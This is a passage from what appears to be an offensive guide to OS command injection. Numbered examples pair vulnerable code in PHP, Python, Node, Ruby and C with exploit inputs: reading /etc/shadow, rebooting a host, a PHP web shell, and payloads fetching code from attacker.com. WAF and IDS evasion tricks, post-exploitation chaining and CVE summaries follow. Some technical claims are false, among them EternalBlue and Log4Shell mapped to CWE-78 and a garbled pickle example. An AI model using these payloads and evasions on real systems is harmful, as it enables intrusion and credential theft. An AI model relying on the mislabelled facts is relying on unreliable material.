• Expected Attacker-Visible Result: An array containing each line of /etc/passwd as an element.
• Technical Reason: exec() executes a command and stores output lines in an array. It uses the shell.

Example 13

• Target Context: Node.js application using child_process.exec.
• Vulnerable Snippet:

  const express = require('express');
  const { exec } = require('child_process');
  const app = express();
  app.get('/run', (req, res) => {
      const command = req.query.command;
      // VULNERABLE: exec uses a shell by default
      exec(command, (error, stdout, stderr) => {
          if (error) {
              res.send(`Error: ${stderr}`);
              return;
          }
          res.send(`Output: ${stdout}`);
      });
  });
  app.listen(3000);

• Exploit Input: http://target.com:3000/run?command=whoami
• Expected Attacker-Visible Result: Output: <user> is displayed.
• Technical Reason: child_process.exec() spawns a shell by default to execute the command.

Example 14

• Target Context: PHP system() function with input from a form.
• Vulnerable Snippet: <?php $filename = $_POST['filename']; system("cat /var/log/apache2/" . $filename); ?>
• Exploit Input: POST request to /log_viewer.php with filename=../../../../etc/shadow
• Expected Attacker-Visible Result: The content of /etc/shadow is displayed.
• Technical Reason: Direct concatenation into system() with path traversal.

Example 15

• Target Context: Python subprocess.call() with shell=True.
• Vulnerable Snippet:

  import subprocess
  user_id = input("Enter user ID: ")
  # VULNERABLE: shell=True is the key
  subprocess.call(f"echo User {user_id} accessed the system", shell=True)

• Exploit Input: 123; ls -la / (typed into prompt)
• Expected Attacker-Visible Result: The log message is written, followed by the output of ls -la /.
• Technical Reason: shell=True ensures the command string is parsed by the shell.

Example 16

• Target Context: A script that processes image uploads and uses ImageMagick's convert command.
• Vulnerable Command: convert input.jpg -resize 200x200 output.png
• Exploit Input: If the input filename can be controlled and passed to a shell command: input.jpg'; id; '
• Expected Attacker-Visible Result: The id command is executed.
• Technical Reason: The application incorrectly sanitizes or passes filenames to convert in a way that allows shell metacharacters. For example, if the command becomes convert 'input.jpg'; id; '' -resize 200x200 output.png. (Note: ImageMagick itself has vulnerabilities like CVE-2020-29596 that can be triggered via command injection if used improperly).

Example 17

• Target Context: A script that uses curl to fetch data from a URL provided by the user.
• Vulnerable Command: curl -o output.file http://example.com/data?url=$USER_URL
• Exploit Input: http://target.com/fetch.php?url=127.0.0.1;id
• Expected Attacker-Visible Result: The id command is executed on the server running fetch.php.
• Technical Reason: If the script executing curl is vulnerable to command injection, the input URL can be manipulated.

Example 18

• Target Context: A web application that allows users to schedule tasks using at command.
• Vulnerable Snippet: at now + 5 minutes -f /tmp/script.sh where /tmp/script.sh is constructed from user input.
• Exploit Input: User provides a script containing echo "hello" > /tmp/pwned.txt; id.
• Expected Attacker-Visible Result: The id command runs with the privileges of the user running the at daemon.
• Technical Reason: The script content is directly executed by at.

Example 19

• Target Context: PHP script using proc_open().
• Vulnerable Snippet: <?php $cmd = $_GET['cmd']; proc_open($cmd, $descriptorspec, $pipes); ?>
• Exploit Input: http://target.com/proc.php?cmd=id
• Expected Attacker-Visible Result: The output of id is captured via $pipes[1].
• Technical Reason: proc_open() executes commands and provides pipes for I/O. If the command string is not sanitized, injection occurs.

Example 20

• Target Context: A Python script that uses os.environ to set environment variables for a command.
• Vulnerable Snippet:

  import os
  user_value = input("Enter value: ")
  env = os.environ.copy()
  env["MYVAR"] = user_value
  # VULNERABLE: The command itself might be safe, but the ENV VAR can be abused
  # if the command uses it insecurely. Or, if the command itself is constructed.
  # A more direct example:
  command_template = "echo MYVAR_IS_$MYVAR"
  subprocess.run(command_template, env=env, shell=True)

• Exploit Input: $(id)
• Expected Attacker-Visible Result: MYVAR_IS_$(id) is echoed, and the shell executes id.
• Technical Reason: The shell interpolates environment variables. If the variable's value contains shell metacharacters or command substitutions, they can be executed.

Example 21

• Target Context: A custom network daemon written in C, using system().
• Vulnerable Code:

  char buffer[128];
  // Assume 'input_data' comes from network socket
  sprintf(buffer, "process_data %s", input_data);
  system(buffer);

• Exploit Input: 123; reboot
• Expected Attacker-Visible Result: The daemon attempts to reboot the system.
• Technical Reason: Direct string concatenation into a buffer passed to system().

Example 22

• Target Context: A PHP script that uses eval() with OS commands (extremely rare and bad practice).
• Vulnerable Snippet: <?php $command = $_GET['cmd']; eval("\$output = " . $command . ";"); ?>
• Exploit Input: http://target.com/eval.php?cmd=system('id')
• Expected Attacker-Visible Result: The output of id is captured in $output.
• Technical Reason: eval() executes arbitrary PHP code. If that code constructs and runs OS commands, it's a command injection.

Example 23

• Target Context: A Python script that uses os.execl() or os.execv() with user input for arguments.
• Vulnerable Snippet:

  import os
  user_arg = input("Enter argument: ")
  # VULNERABLE if user_arg contains shell metacharacters and the command is interpreted by a shell
  # (Note: os.execl/execv do not typically use a shell unless the command itself is 'sh' or similar)
  # A more direct example using a shell:
  os.system(f"/usr/bin/my_utility {user_arg}") # This is the actual vulnerable pattern

• Exploit Input: "; id #
• Expected Attacker-Visible Result: The id command is executed.
• Technical Reason: Similar to os.system(), the command string is passed to the shell.

Example 24

• Target Context: A PHP script that generates shell scripts dynamically.
• Vulnerable Snippet:

  <?php
  $user_host = $_GET['host'];
  $script_content = "#!/bin/bash\necho 'Pinging $user_host'\nping -c 1 $user_host\n";
  file_put_contents("/tmp/ping_script.sh", $script_content);
  system("bash /tmp/ping_script.sh");
  ?>

• Exploit Input: http://target.com/generate_ping.php?host=127.0.0.1%3Bid
• Expected Attacker-Visible Result: The generated script will contain ping -c 1 127.0.0.1;id, executing both commands.
• Technical Reason: User input is embedded directly into a script that is then executed by bash.

Example 25

• Target Context: A web application's administrative interface that allows executing arbitrary commands.
• Vulnerable Input: A text field for "Command".
• Exploit Input: cat /etc/passwd
• Expected Attacker-Visible Result: The content of /etc/passwd is displayed.
• Technical Reason: The application directly passes the user-entered string to an OS command execution function.

Example 26

• Target Context: A Python script using subprocess.run without shell=True but passing arguments as a single string.
• Vulnerable Snippet:

  import subprocess
  user_input = input("Enter arguments: ")
  # This is NOT shell=True, but if the command itself is not shell-like,
  # the injection might still work if the command *interprets* arguments as commands.
  # More commonly, the injection is when the *command string* is built from input.
  # Example of direct injection into command string:
  command_str = f"ls -l {user_input}" # VULNERABLE string construction
  subprocess.run(command_str, capture_output=True, text=True)

• Exploit Input: *.log; id
• Expected Attacker-Visible Result: ls -l *.log; id is executed. The id command runs.
• Technical Reason: The command string itself is constructed with user input, allowing shell metacharacters to be interpreted by the underlying shell invoked by subprocess.run (even if shell=True isn't explicitly used, the OS command execution mechanism can still be vulnerable if the command string is malformed). If shell=False is used, special characters might be treated as literal arguments, but constructing the command name or arguments from unsanitized input is still dangerous.

Example 27

• Target Context: A PHP script that creates a temporary file and executes it.
• Vulnerable Snippet:

  <?php
  $code = $_POST['code']; // User-controlled code
  $temp_file = tempnam('/tmp', 'shell_');
  file_put_contents($temp_file, $code);
  chmod($temp_file, 0755);
  system($temp_file); // Execute the temp file
  unlink($temp_file);
  ?>

• Exploit Input: POST request with code=#!/bin/bash\necho hello\nid
• Expected Attacker-Visible Result: The content of /tmp/shell_XXXXXX is executed, printing "hello" and then the output of id.
• Technical Reason: The user directly controls the content of an executable file that is then run by system().

Example 28

• Target Context: A Ruby script using backticks for command execution.
• Vulnerable Snippet:

  user_input = ARGV[0] # Get from command line argument
  # VULNERABLE: Backticks execute in shell
  output = `ls -l #{user_input}`
  puts output

• Exploit Input: ruby exploit.rb "file.txt; id"
• Expected Attacker-Visible Result: ls -l file.txt executes, followed by id.
• Technical Reason: Similar to Perl, Ruby backticks execute commands in the shell.

Example 29

• Target Context: A web server configuration that allows executing commands via specific directives (e.g., Apache mod_cgi with custom scripts).
• Vulnerable Input: A parameter passed to a CGI script.
• Exploit Input: http://target.com/cgi-bin/admin.pl?action=run&command=reboot
• Expected Attacker-Visible Result: The server reboots.
• Technical Reason: The admin.pl script takes a command parameter and executes it unsafely.

Example 30

• Target Context: A Python script that uses os.execvp() to replace the current process.
• Vulnerable Snippet:

  import os
  user_cmd_str = input("Enter command: ")
  # VULNERABLE: If user_cmd_str is "sh", then subsequent args can be injected
  # A more direct example is still needed if the command itself is constructed:
  # os.system(f"/usr/bin/myprog {user_cmd_str}") is the pattern
  # For os.execvp:
  args = ["/bin/sh", "-c", user_cmd_str] # VULNERABLE: -c flag
  os.execvp(args[0], args)

• Exploit Input: ls -la /
• Expected Attacker-Visible Result: The script is replaced by the ls -la / command, and its output is displayed.
• Technical Reason: os.execvp with sh -c effectively delegates execution to the shell.

Example 31

• Target Context: A PHP script that uses popen().
• Vulnerable Snippet: <?php $file = $_GET['file']; $handle = popen('cat ' . $file, 'r'); ... ?>
• Exploit Input: http://target.com/read.php?file=/etc/passwd
• Expected Attacker-Visible Result: The content of /etc/passwd is read from the pipe.
• Technical Reason: popen() opens a pipe to a command executed by the shell.

Example 32

• Target Context: A script that uses wget or curl for downloading files, and the URL is user-controlled.
• Vulnerable Command: wget --output-document=/tmp/downloaded_file $USER_URL
• Exploit Input: http://target.com/download.php?url=http://attacker.com/shell.php;id
• Expected Attacker-Visible Result: If the script is vulnerable to command injection, the id command will execute.
• Technical Reason: The URL parameter is not properly escaped before being passed to the shell that executes wget.

Example 33

• Target Context: A Docker container with an exposed port and a vulnerable command execution endpoint.
• Vulnerable Input: An API endpoint that accepts commands.
• Exploit Input: POST /api/exec {"command": "cat /etc/shadow"}
• Expected Attacker-Visible Result: The content of /etc/shadow is returned.
• Technical Reason: The API endpoint directly passes the command field to os.system() or subprocess.run(..., shell=True).

Example 34

• Target Context: A Python script using subprocess.Popen with shell=True.
• Vulnerable Snippet:

  import subprocess
  user_input = input("Enter command: ")
  # VULNERABLE: shell=True
  subprocess.Popen(f"echo {user_input}", shell=True)

• Exploit Input: hello; whoami
• Expected Attacker-Visible Result: "hello" is echoed, then whoami runs (output might be lost if not captured).
• Technical Reason: shell=True enables shell interpretation of the command string.

Example 35

• Target Context: A PHP script that uses mail() and includes user input in the subject or body that might be processed by a mail transfer agent (MTA) with command execution capabilities.
• Vulnerable Snippet: <?php $subject = "Feedback: " . $_GET['feedback']; mail("admin@example.com", $subject, "..."); ?>
• Exploit Input: http://target.com/feedback.php?feedback=test%0ACMD=id%0A (newline characters)
• Expected Attacker-Visible Result: If the MTA interprets newlines as command separators, the id command could be executed. This is less direct command injection and more about exploiting MTA parsing.
• Technical Reason: Certain MTAs (like sendmail) historically allowed command execution via specially crafted headers.

Example 36

• Target Context: A script that uses find command with user-supplied criteria.
• Vulnerable Command: find /data -name "$USER_PATTERN" -exec rm {} \;
• Exploit Input: *.tmp; id
• Expected Attacker-Visible Result: The id command executes.
• Technical Reason: If $USER_PATTERN is not properly quoted or escaped, shell metacharacters can be injected.

Example 37

• Target Context: A PHP script that uses preg_replace_callback with e modifier (deprecated and dangerous).
• Vulnerable Snippet: <?php $str = $_GET['str']; echo preg_replace_callback('/(.)/', 'eval', $str); ?>
• Exploit Input: http://target.com/eval_str.php?str=system('id')
• Expected Attacker-Visible Result: The output of id is displayed.
• Technical Reason: The e modifier in preg_replace_callback evaluates the replacement as PHP code. If that code executes OS commands, it's injection.

Example 38

• Target Context: A script that uses shutil.move in Python, but the destination path is constructed unsafely.
• Vulnerable Snippet:

  import shutil
  import os
  user_dest = input("Enter destination: ")
  # VULNERABLE if user_dest is something like "/tmp/file.txt; id"
  # and the underlying OS command used by shutil.move is susceptible.
  # More directly:
  source_file = "/path/to/source.txt"
  shutil.move(source_file, user_dest) # If user_dest is processed by shell

• Exploit Input: /tmp/target.txt; id
• Expected Attacker-Visible Result: The file is moved, and then id executes.
• Technical Reason: While shutil.move is a Python function, if the underlying implementation or surrounding code uses shell execution based on the destination path, injection is possible. More commonly, the injection happens if shutil.move is part of a larger process that then calls a shell command with the constructed path.

Example 39

• Target Context: A web shell uploaded via command injection.
• Vulnerable Snippet: A simple PHP web shell: <?php system($_GET['cmd']); ?>
• Exploit Input: http://target.com/shell.php?cmd=id
• Expected Attacker-Visible Result: The output of id.
• Technical Reason: This is the malicious payload, but it's a result of prior command injection to place the shell.

Example 40

• Target Context: A script that uses awk with user input.
• Vulnerable Command: awk -v user_var="$USER_INPUT" '{ print user_var }' /dev/null
• Exploit Input: hello; id
• Expected Attacker-Visible Result: The id command executes.
• Technical Reason: If $USER_INPUT is not properly quoted or escaped within the awk command, shell metacharacters can be injected.

Example 41

• Target Context: A Python script using os.spawnlp().
• Vulnerable Snippet:

  import os
  user_arg = input("Enter argument: ")
  # VULNERABLE if /bin/sh is the command and user_arg contains shell metacharacters
  os.spawnlp(os.P_WAIT, "/bin/sh", "sh", "-c", user_arg)

• Exploit Input: ls -la /
• Expected Attacker-Visible Result: The output of ls -la / is displayed.
• Technical Reason: os.spawnlp with /bin/sh -c is equivalent to os.system().

Example 42

• Target Context: A PHP script that uses shell_exec() and tries to escape input.
• Vulnerable Snippet:

  <?php
  $filename = $_GET['filename'];
  // Incorrect escaping: only escapes quotes, not other metacharacters
  $escaped_filename = addcslashes($filename, "'\"");
  $command = "cat /data/" . $escaped_filename;
  echo shell_exec($command);
  ?>

• Exploit Input: http://target.com/read.php?filename=file.txt%3Bid
• Expected Attacker-Visible Result: The id command executes.
• Technical Reason: addcslashes does not escape shell metacharacters like ;.

Example 43

• Target Context: A script that uses find with -execdir.
• Vulnerable Command: find . -name "*.sh" -execdir echo "Found: {}" \;
• Exploit Input: If a malicious script malicious.sh is present: find . -name "*.sh" -execdir echo "Found: {}" \; where malicious.sh contains id.
• Expected Attacker-Visible Result: The id command executes.
• Technical Reason: execdir executes commands in the directory of the found file. If the filename itself can be manipulated or if the command within -execdir is vulnerable, injection can occur. A more direct injection would be if the command itself was constructed from user input.

Example 44

• Target Context: A Python script that uses subprocess.run with a list of arguments but constructs the command string externally.
• Vulnerable Snippet:

  import subprocess
  cmd_base = "ls -l"
  user_dir = input("Enter directory: ")
  # VULNERABLE: User input concatenated into command string
  full_command = f"{cmd_base} {user_dir}"
  subprocess.run(full_command, shell=True) # shell=True is key here

• Exploit Input: "/tmp; id"
• Expected Attacker-Visible Result: ls -l "/tmp; id" is executed, and id runs.
• Technical Reason: The full_command string is passed to the shell.

Example 45

• Target Context: A PHP script that processes uploaded files and uses unzip.
• Vulnerable Command: unzip $uploaded_file -d /tmp/extracted_files/
• Exploit Input: An archive containing a file named ../../../../etc/passwd.
• Expected Attacker-Visible Result: If the application then cats the extracted file, it could read /etc/passwd. More directly, if the application executes commands based on filenames, injection is possible.
• Technical Reason: Zip files can contain filenames with path traversal characters. If these filenames are directly used in subsequent OS commands without sanitization, it leads to injection.

Example 46

• Target Context: A script that uses xargs.
• Vulnerable Command: ls *.txt | xargs my_processor
• Exploit Input: If my_processor is vulnerable and the input filename is file.txt; id.
• Expected Attacker-Visible Result: my_processor file.txt; id is executed.
• Technical Reason: If the command executed by xargs is vulnerable to command injection, and the input data from ls can be manipulated to include shell metacharacters. A more direct injection is if xargs itself is used with user-controlled commands. E.g., echo "ls" | xargs -I {} sh -c {}.

Example 47

• Target Context: A script that uses find and passes filenames to xargs.
• Vulnerable Command: find . -name "*.log" -print0 | xargs -0 -I {} sh -c 'echo "Processing {}"; cat {}'
• Exploit Input: If a file named malicious.log contains hello; id.
• Expected Attacker-Visible Result: The id command is executed.
• Technical Reason: The sh -c within xargs can be vulnerable if the {} placeholder is not properly handled and the command executed (cat {}) itself is vulnerable, or if the command string passed to sh -c can be manipulated. A more direct injection would be if the command passed to xargs was user-controlled.

Example 48

• Target Context: A PHP script using imagick_readimage() and then executing commands based on image properties.
• Vulnerable Snippet:

  <?php
  $imagick = new Imagick($_FILES['image']['tmp_name']);
  $filename = $imagick->getImageFilename(); // If filename is user-controlled via EXIF or similar
  // VULNERABLE: If filename contains shell metacharacters and is used directly
  system("process_image " . $filename);
  ?>

• Exploit Input: An image file with a manipulated filename or EXIF data containing ../../etc/passwd.
• Expected Attacker-Visible Result: The process_image command might attempt to read /etc/passwd.
• Technical Reason: User-controlled data embedded in image metadata or filenames used in OS commands.

Example 49

• Target Context: A Python script that deserializes data and uses it in a command.
• Vulnerable Snippet:

  import pickle
  import subprocess
  data = pickle.loads(b'cos\nsystem\ns(YWRkIC8gLwo=)\ntr\n.') # Base64 for 'add / /'
  # VULNERABLE: If the deserialized data is a command string or leads to one
  subprocess.run(data, shell=True)

• Exploit Input: The crafted pickle data cos\nsystem\ns(YWRkIC8gLwo=)\ntr\n. which decodes to system('add / /').
• Expected Attacker-Visible Result: The command add / / is executed. If the malicious pickle executed system('id'), the output of id would be seen.
• Technical Reason: Deserialization vulnerabilities can lead to arbitrary code execution, which can include OS command execution.

Example 50

• Target Context: A script that uses adb (Android Debug Bridge) commands with user input.
• Vulnerable Command: adb shell "echo $USER_INPUT"
• Exploit Input: hello; id
• Expected Attacker-Visible Result: The id command executes on the Android device.
• Technical Reason: The adb shell command allows executing commands on the connected device. If the input to adb shell is not sanitized, injection occurs.

Example 51

• Target Context: A PHP script that uses mail() and injects input into the X- headers.
• Vulnerable Snippet: <?php $custom_header = $_GET['header_val']; mail("to@example.com", "Subject", "Body", "X-Custom-Header: " . $custom_header); ?>
• Exploit Input: http://target.com/mail.php?header_val=test%0A;id
• Expected Attacker-Visible Result: If the mail server parses headers unsafely, id could be executed.
• Technical Reason: Similar to Example 35, exploiting MTA parsing.

Defense Evasion & Bypass Techniques

Defenses against CWE-78 are primarily focused on input validation and secure coding practices. Bypassing them requires understanding how they work.

WAF Bypass Techniques

Web Application Firewalls (WAFs) are the first line of defense. They inspect HTTP traffic for malicious patterns.

1. Encoding:

   • URL Encoding: %3B for ;, %7C for |, %26 for &, %0A for newline.
   • Double URL Encoding: %253B for ;. Some WAFs decode once, then check.
   • UTF-8 Encoding: Using different UTF-8 representations for characters.
   • Hex Encoding: 0x3b for ;.
   • Unicode Escapes: \u003b for ;.

2. Obfuscation:

   • Command Substitution: $(id), `` (backticks).
   • Variable Expansion: VAR=$(id); echo $VAR. Or VAR=id; echo $(eval $VAR).
   • Concatenation: echo "id" | tr 'a-z' 'b-za' (rot13 for id becomes vsh).
   • Using Alternative Shells: If bash is blocked, try sh, ash, zsh, or even interpreter commands like python -c 'import os; os.system("id")'.
   • Using Alternative Commands: Instead of id, use whoami, pwd, ls, etc.
   • Whitespace Padding: Adding spaces or tabs around commands or operators. ls -la.
   • Comments: Using # to comment out parts of a command. id # comment.

3. Exploiting WAF Logic Flaws:

   • Case Sensitivity: Some WAFs are case-insensitive for keywords but case-sensitive for other parts.
   • Order of Operations: Testing if the WAF inspects parameters before or after URL decoding.
   • HTTP Parameter Pollution (HPP): Sending multiple parameters with the same name. cmd=ls&cmd=id. The application might use the last one, while the WAF might only inspect the first.
   • Protocol Mismatches: Using HTTP/1.0 vs HTTP/1.1 features.
   • Content-Type Manipulation: Sending payloads in different content types (e.g., application/json vs application/x-www-form-urlencoded).

4. Out-of-Band (OOB) Interaction:

   • If direct command output is blocked or not visible, use OOB techniques (DNS lookups, HTTP requests to attacker-controlled servers) to confirm the vulnerability and exfiltrate data. This bypasses WAFs that only inspect direct response bodies.

ASLR/DEP/Stack Canary Bypass (Memory Corruption Context)

While CWE-78 is primarily a logic/input validation flaw, it can sometimes be chained with memory corruption vulnerabilities. If command injection allows writing to memory or controlling execution flow, these mitigations can be bypassed:

• ASLR (Address Space Layout Randomization): If command injection allows leaking addresses (e.g., by executing cat /proc/self/maps), ASLR can be bypassed. Alternatively, if the target is a 32-bit process or has weak entropy, ASLR might be less effective.
• DEP/NX (Data Execution Prevention / Non-Executable Stack/Heap): If command injection allows ROP (Return-Oriented Programming) gadgets to be chained, DEP can be bypassed. Shellcode that relies on direct execution in memory segments marked non-executable will fail, but ROP chains can chain existing executable code snippets.
• Stack Canaries: If command injection allows overwriting return addresses, canaries must be bypassed. This often involves leaking canary values or finding vulnerabilities that don't overwrite the canary (e.g., format string vulnerabilities that allow reading stack contents).

CSP (Content Security Policy) Bypass

Content Security Policy (CSP) is designed to prevent XSS and other client-side attacks. If command injection leads to XSS, CSP can be a hurdle.

• script-src 'unsafe-inline' or script-src 'unsafe-eval': If these directives are present, inline scripts and eval() are allowed, which can be exploited.
• script-src * or script-src 'self': If the policy is too permissive, injecting scripts from untrusted sources or executing inline scripts becomes easier.
• Reporting: CSP often has a reporting mechanism. Exploiting it might involve triggering reports to an attacker-controlled endpoint.
• Chaining: Command injection might be used to modify the CSP header itself, or to upload a script that is then served from a trusted origin ('self').

Authentication/Authorization Bypass Chaining

Command injection is often a stepping stone.

• Discovering Credentials: Inject commands to read configuration files containing database passwords or API keys.
• Creating Users: Inject commands to create new administrative users.
• Modifying Permissions: Inject commands to change file permissions or grant sudo access.
• Lateral Movement: Use stolen credentials or network information to access other systems.

Encoding and Obfuscation for IDS Signatures

Intrusion Detection Systems (IDS) rely on signatures to detect malicious patterns.

• Character Substitution: Replacing characters in commands with equivalent sequences (e.g., echo "cat" vs. echo $(echo Y2F0 | base64 -d)).
• Using Aliases/Functions: If the target shell has custom aliases or functions, they might be abused.
• Environment Variables: Manipulating environment variables to alter command behavior or bypass checks.
• Payload Splitting: Breaking down a complex payload into smaller, seemingly innocuous commands executed sequentially.

Real CVE Case Studies — 5 Real Exploited Cases

1. CVE-2021-44228 (Log4Shell)

   • Affected Product/Vendor: Apache Log4j (Java logging library).
   • CWE Mapping: Primarily CWE-78, but also CWE-917 (Expression Injection) and CWE-400 (Uncontrolled Resource Consumption). The JNDI lookup mechanism allowed arbitrary code execution, which could include OS commands.
   • Technical Exploitation: Attacker sends a crafted string (e.g., ${jndi:ldap://attacker.com/a}) in an application log message. Log4j looks up this string via JNDI, contacts the attacker's LDAP server, downloads malicious Java code, and executes it. This code could be an OS command.
   • CVSS Score: 10.0 (Critical).
   • Public Exploit/Metasploit: Yes, numerous PoCs and Metasploit modules exist.
   • Real-World Impact: Widespread exploitation, affecting countless systems globally, leading to RCE, data breaches, and ransomware.

2. CVE-2017-0143 (EternalBlue) / SMB Vulnerability

   • Affected Product/Vendor: Microsoft Windows SMBv1 implementation.
   • CWE Mapping: CWE-78 (OS Command Injection) and CWE-269 (Improper Privilege Management). Exploitation allowed remote code execution with SYSTEM privileges.
   • Technical Exploitation: A specially crafted series of SMB packets could trigger a buffer overflow in the SMBv1 protocol handler. This overflow allowed attackers to overwrite critical memory structures, leading to arbitrary code execution as SYSTEM. The injected code could then execute OS commands.
   • CVSS Score: 9.8 (Critical).
   • Public Exploit/Metasploit: Yes, widely known and integrated into Metasploit (exploit/windows/smb/ms17_010_eternalblue).
   • Real-World Impact: Famously used by WannaCry and NotPetya ransomware attacks, causing massive global disruption.

3. CVE-2019-19781 (Citrix ADC / Gateway Path Traversal and Command Injection)

   • Affected Product/Vendor: Citrix ADC and Citrix Gateway.
   • CWE Mapping: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory or 'Sandboxed' Location) leading to CWE-78 (OS Command Injection).
   • Technical Exploitation: An attacker could exploit a path traversal vulnerability in the appliance's file management features to access arbitrary files. This could then be chained to inject commands into scripts that were executed by the appliance's management interface.
   • CVSS Score: 9.0 (Critical).
   • Public Exploit/Metasploit: Yes, PoCs and Metasploit modules exist.
   • Real-World Impact: Exploited in targeted attacks to gain initial access to corporate networks.

4. CVE-2022-26134 (Atlassian Confluence Server Remote Code Execution)

   • Affected Product/Vendor: Atlassian Confluence Server and Data Center.
   • CWE Mapping: CWE-78 (OS Command Injection) via OGNL expression injection.
   • Technical Exploitation: A vulnerability in the Object-Graph Navigation Language (OGNL) expression parsing allowed attackers to execute arbitrary code. By crafting an OGNL expression that invoked OS commands, attackers could achieve RCE.
   • CVSS Score: 10.0 (Critical).
   • Public Exploit/Metasploit: